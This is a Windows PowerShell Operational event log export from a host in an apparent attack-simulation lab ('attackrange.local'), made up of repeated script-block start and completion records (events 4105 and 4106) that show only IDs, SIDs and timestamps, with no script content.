SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033408
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033407
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033402
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033401
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033379
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033378
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033377
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033376
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
